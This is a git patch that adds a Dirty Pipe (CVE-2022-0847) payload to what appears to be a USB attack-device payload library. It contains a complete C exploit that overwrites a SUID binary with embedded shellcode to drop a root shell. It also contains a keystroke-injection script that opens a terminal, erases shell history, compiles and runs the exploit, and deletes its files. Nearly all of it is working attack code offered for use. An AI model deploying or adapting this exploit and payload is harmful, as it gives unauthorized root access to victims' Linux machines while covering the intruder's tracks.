From b58284adaa8904ad0e6b8e164b14a6960795f4ce Mon Sep 17 00:00:00 2001 From: drapl0n <87269662+drapl0n@users.noreply.github.com> Date: Wed, 23 Mar 2022 20:42:49 +0530 Subject: [PATCH] uploaded dirtypipe (#506) * uploaded dirtypipe Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. * exploit * Create README.md * fixing typo --- .../library/execution/DirtyPipe/README.md | 24 +++ .../library/execution/DirtyPipe/dirtypipe.c | 181 ++++++++++++++++++ .../library/execution/DirtyPipe/payload.txt | 82 ++++++++ 3 files changed, 287 insertions(+) create mode 100644 payloads/library/execution/DirtyPipe/README.md create mode 100644 payloads/library/execution/DirtyPipe/dirtypipe.c create mode 100644 payloads/library/execution/DirtyPipe/payload.txt diff --git a/payloads/library/execution/DirtyPipe/README.md b/payloads/library/execution/DirtyPipe/README.md new file mode 100644 index 00000000..c115edfb --- /dev/null +++ b/payloads/library/execution/DirtyPipe/README.md @@ -0,0 +1,24 @@ +## About: +* Title: DirtyPipe +* Description: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Execution +* Target: Linux operating systems. +* Attackmodes: HID, Storage + +## DirtyPipe: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. The vulnerability is tracked as CVE-2022-0847 and allows a non-privileged user to inject and overwrite data in read-only files, including SUID processes that run as root. + +### Directory Structure of payload components: +| FileName | Directory | +| -------------- | ----------------------------- | +| payload.txt | /payloads/ | +| dirtypipe.c | /payloads/library/ | + +### LED Status: +* `SETUP` : MAGENTA +* `ATTACK` : YELLOW +* `FINISH` : GREEN + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/execution/DirtyPipe/dirtypipe.c b/payloads/library/execution/DirtyPipe/dirtypipe.c new file mode 100644 index 00000000..cd6295d6 --- /dev/null +++ b/payloads/library/execution/DirtyPipe/dirtypipe.c @@ -0,0 +1,181 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef PAGE_SIZE +#define PAGE_SIZE 4096 +#endif + +// small (linux x86_64) ELF file matroshka doll that does; +// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC); +// write(fd, elfcode, elfcode_len) +// chmod("/tmp/sh", 04755) +// close(fd); +// exit(0); +// +// the dropped ELF simply does: +// setuid(0); +// setgid(0); +// execve("/bin/sh", ["/bin/sh", NULL], [NULL]); +unsigned char elfcode[] = { + /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, + 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, + 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, + 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, + 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, + 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, + 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, + 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, + 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, + 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, + 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, + 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, + 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, + 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 +}; + +/** + * Create a pipe where all "bufs" on the pipe_inode_info ring have the + * PIPE_BUF_FLAG_CAN_MERGE flag set. + */ +static void prepare_pipe(int p[2]) +{ + if (pipe(p)) abort(); + + const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); + static char buffer[4096]; + + /* fill the pipe completely; each pipe_buffer will now have + the PIPE_BUF_FLAG_CAN_MERGE flag */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; + write(p[1], buffer, n); + r -= n; + } + + /* drain the pipe, freeing all pipe_buffer instances (but + leaving the flags initialized) */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; + read(p[0], buffer, n); + r -= n; + } + + /* the pipe is now empty, and if somebody adds a new + pipe_buffer without initializing its "flags", the buffer + will be mergeable */ +} + +int hax(char *filename, long offset, uint8_t *data, size_t len) { + /* open the input file and validate the specified offset */ + const int fd = open(filename, O_RDONLY); // yes, read-only! :-) + if (fd < 0) { + perror("open failed"); + return -1; + } + + struct stat st; + if (fstat(fd, &st)) { + perror("stat failed"); + return -1; + } + + /* create the pipe with all flags initialized with + PIPE_BUF_FLAG_CAN_MERGE */ + int p[2]; + prepare_pipe(p); + + /* splice one byte from before the specified offset into the + pipe; this will add a reference to the page cache, but + since copy_page_to_iter_pipe() does not initialize the + "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ + --offset; + ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); + if (nbytes < 0) { + perror("splice failed"); + return -1; + } + if (nbytes == 0) { + fprintf(stderr, "short splice\n"); + return -1; + } + + /* the following write will not create a new pipe_buffer, but + will instead write into the page cache, because of the + PIPE_BUF_FLAG_CAN_MERGE flag */ + nbytes = write(p[1], data, len); + if (nbytes < 0) { + perror("write failed"); + return -1; + } + if ((size_t)nbytes < len) { + fprintf(stderr, "short write\n"); + return -1; + } + + close(fd); + + return 0; +} + +int main(int argc, char **argv) { + if (argc != 2) { + fprintf(stderr, "Usage: %s SUID\n", argv[0]); + return EXIT_FAILURE; + } + + char *path = argv[1]; + uint8_t *data = elfcode; + + int fd = open(path, O_RDONLY); + uint8_t *orig_bytes = malloc(sizeof(elfcode)); + lseek(fd, 1, SEEK_SET); + read(fd, orig_bytes, sizeof(elfcode)); + close(fd); + + printf("[+] hijacking suid binary..\n"); + if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) { + printf("[~] failed\n"); + return EXIT_FAILURE; + } + + printf("[+] dropping suid shell..\n"); + system(path); + + printf("[+] restoring suid binary..\n"); + if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) { + printf("[~] failed\n"); + return EXIT_FAILURE; + } + + printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n"); + system("/tmp/sh"); + + return EXIT_SUCCESS; +} diff --git a/payloads/library/execution/DirtyPipe/payload.txt b/payloads/library/execution/DirtyPipe/payload.txt new file mode 100644 index 00000000..e432e46e --- /dev/null +++ b/payloads/library/execution/DirtyPipe/payload.txt @@ -0,0 +1,82 @@ +# Title: DirtyPipe +# Description: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Execution +# Target: Linux operating systems. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 100 +Q STRING HISTSIZE=0 +Q ENTER +Q DELAY 100 +Q STRING rm -f '$HISTFILE' +Q ENTER +Q DELAY 100 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering and executing exploit] +Q STRING cp -r '$mntt'/payloads/library/dirtypipe.c /tmp/ +Q ENTER +Q DELAY 100 +Q STRING gcc /tmp/dirtypipe.c -o /tmp/dirtypipe +Q ENTER +Q DELAY 1000 +Q STRING chmod +x /tmp/dirtypipe +Q ENTER +Q STRING /tmp/./dirtypipe /bin/bash +Q ENTER +Q DELAY 500 +Q STRING sudo su +Q ENTER +Q CTRL-ALT t +Q DELAY 500 +Q STRING rm /tmp/dirtypipe +Q ENTER +Q DELAY 100 +Q STRING rm /tmp/dirtypipe.c +Q ENTER +Q DELAY 200 + +# [Unmounting BashBunny] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 100 +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 100 +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH